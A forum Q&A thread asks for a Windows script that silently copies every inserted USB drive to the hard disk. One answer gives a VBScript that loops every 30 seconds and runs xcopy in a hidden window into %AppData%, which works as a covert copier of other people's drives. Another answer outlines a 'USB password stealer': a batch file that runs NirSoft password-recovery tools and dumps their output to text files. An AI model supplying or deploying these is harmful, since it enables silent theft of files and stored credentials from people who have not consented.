Cip
Cip

Reputation: 117

Hidden script to copy content of USB

Is there a program or a script for Windows (powershell maybe, or cmd) that can detect when a USB drive is plugged in and copy its contents in the hard drive of the PC?

It should be able to act autonomously without asking permission or opening confirmation or status windows.

I need it to create a backup of the drive every time that I connect it to the machine.

Upvotes: 1

Views: 3391

Answers (2)

Hackoo
Hackoo

Reputation: 18827

This vbscript is used to automatically copy each and every newly inserted USB key or sdcard. For each USB key or every sdcard, it creates a folder of this form "MachineName_VolumeUSB_NumSerie" in the% AppData% folder and it makes a total copy for the first time and then incrementally, ie, it just copy the new files and files changed every 30 seconds.

'Sauvegarde automatique des clés USB et SDCARD dés leurs insertion.
'Ce Programme sert à copier automatiquement chaque clé USB nouvellement insérée ou bien une SDCard.
'Il sert à faire des Sauvegardes incrémentielles de vos clés USB.
'Pour chaque clé USB, il crée un dossier de cette forme "NomMachine_NomVolumeUSB_NumSerie" dans le dossier %AppData% et
'il fait une copie totale pour la première fois, puis incrémentielle , càd ,il copie juste les nouveaux fichiers et les fichiers modifiés.
'Crée le 23/09/2014 © Hackoo
Option Explicit
Do
   Call AutoSave_USB_SDCARD()
   Pause(30)
Loop
'********************************************AutoSave_USB_SDCARD()************************************************
Sub AutoSave_USB_SDCARD()
   Dim Ws,WshNetwork,NomMachine,AppData,strComputer,objWMIService,objDisk,colDisks
   Dim fso,Drive,NumSerie,volume,cible,Amovible,Dossier,chemin,Command,Result
   Set Ws = CreateObject("WScript.Shell")
   Set WshNetwork = CreateObject("WScript.Network")
   NomMachine = WshNetwork.ComputerName
   AppData= ws.ExpandEnvironmentStrings("%AppData%")
   cible = AppData & "\"
   strComputer = "."
   Set objWMIService = GetObject("winmgmts:" _
   & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
   Set colDisks = objWMIService.ExecQuery _
   ("SELECT * FROM Win32_LogicalDisk")

   For Each objDisk in colDisks
      If objDisk.DriveType = 2 Then
         Set fso = CreateObject("Scripting.FileSystemObject")
         For Each Drive In fso.Drives
            If Drive.IsReady Then
               If Drive.DriveType = 1 Then
                  NumSerie=fso.Drives(Drive + "\").SerialNumber
                  Amovible=fso.Drives(Drive + "\")
                  Numserie=ABS(INT(Numserie))
                  volume=fso.Drives(Drive + "\").VolumeName
                  Dossier=NomMachine & "_" & volume &"_"& NumSerie
                  chemin=cible & Dossier
                  Command = "cmd /c Xcopy.exe " & Amovible &" "& chemin &" /I /D /Y /S /J /C"
                  Result = Ws.Run(Command,0,True)
               end if
            End If   
         Next
      End If   
   Next
End Sub
'***************************************Fin du AutoSave_USB_SDCARD()*********************************************
'****************************************************************************************************************
Sub Pause(Sec)
   Wscript.Sleep(Sec*1000)
End Sub 
'****************************************************************************************************************

Upvotes: 3

user5750809
user5750809

Reputation:

step 1: get yourself an usb drive.

step 2: download a list of tools. for more results. download every single tool from: http://www.nirsoft.net/utils/index.html#password_utils

step 2: create an batch file containing line's start filename /stext filename.txt

example: start mspass.exe /stext mspass.txt

for each program.

step3: test your "program" by plug the usb drive into a device. and click on the batch file you created.

"happy password recovering"

EDIT:

i found this on the internet too explaining very easily what I just wrote above + more

http://lifehacker.com/create-a-usb-password-stealer-to-see-how-secure-your-i-1650354166

Upvotes: 0

Related Questions